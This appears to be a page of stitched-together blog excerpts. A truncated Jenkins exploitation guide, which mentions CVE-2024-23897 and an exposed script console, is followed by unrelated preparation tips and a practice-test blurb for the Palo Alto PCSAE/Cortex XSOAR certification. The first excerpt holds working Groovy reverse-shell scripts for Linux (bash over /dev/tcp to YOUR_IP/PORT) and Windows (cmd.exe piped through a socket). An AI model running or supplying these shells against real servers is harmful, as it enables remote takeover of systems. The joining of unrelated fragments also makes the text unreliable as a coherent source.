Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Preparation : Use Palo Alto networks beacon portal to learn the basics of Cortex XSOAR. Download and install the community edition of Cortex XSOAR. If you need a step by step practical guide to learn the Cortex XSOAR and to prepare for PCSAE exam, check my book. And if you need to validate your knowledge on PCSAE exam topics, check the practice tests in Udemy. Dont just rely on the exam guide. Do hands on extensively. Practical knowledge is what validates in the PCSAE exam.
The PCSAE certification validates the knowledge and skills required to develop, analyze and administer the Cortex XSOAR security orchestration, automation and response platform with native threat intelligence management. Kindly note that, this is a practice test and not an exam dump and for passing the PCSAE exam, one should have hands-on experience and in depth knowledge on the exam topics.
